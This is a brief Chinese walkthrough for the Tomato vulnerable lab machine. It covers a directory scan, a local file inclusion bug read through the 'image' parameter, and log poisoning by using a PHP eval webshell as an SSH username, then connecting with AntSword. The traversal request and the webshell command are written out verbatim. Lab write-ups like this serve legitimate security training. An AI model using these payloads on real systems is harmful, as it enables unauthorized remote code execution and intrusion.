Tomato靶机通关攻略

步骤一：进行端口扫描，找寻靶机地址

步骤二：访问靶机地址

步骤三：利用dirb进行扫描

得出：/antibot_image/进行访问

步骤四：进入antibots->info.php->右击进入页面源代码->发现存在文件包含漏洞

步骤五：页面通过image传参查看passwd文件

步骤六：页面通过image传参查看日志文件

/antibot_image/antibots/info.php?image=../../../../../var/log/auth.log

步骤七：将一句话木马作为ssh登录的用户名登录

ssh '<?php phpinfo();eval($_POST["cmd"]);?>'@172.16.1.113 -p 2211

密码随便输，输三次

步骤八：蚁剑连接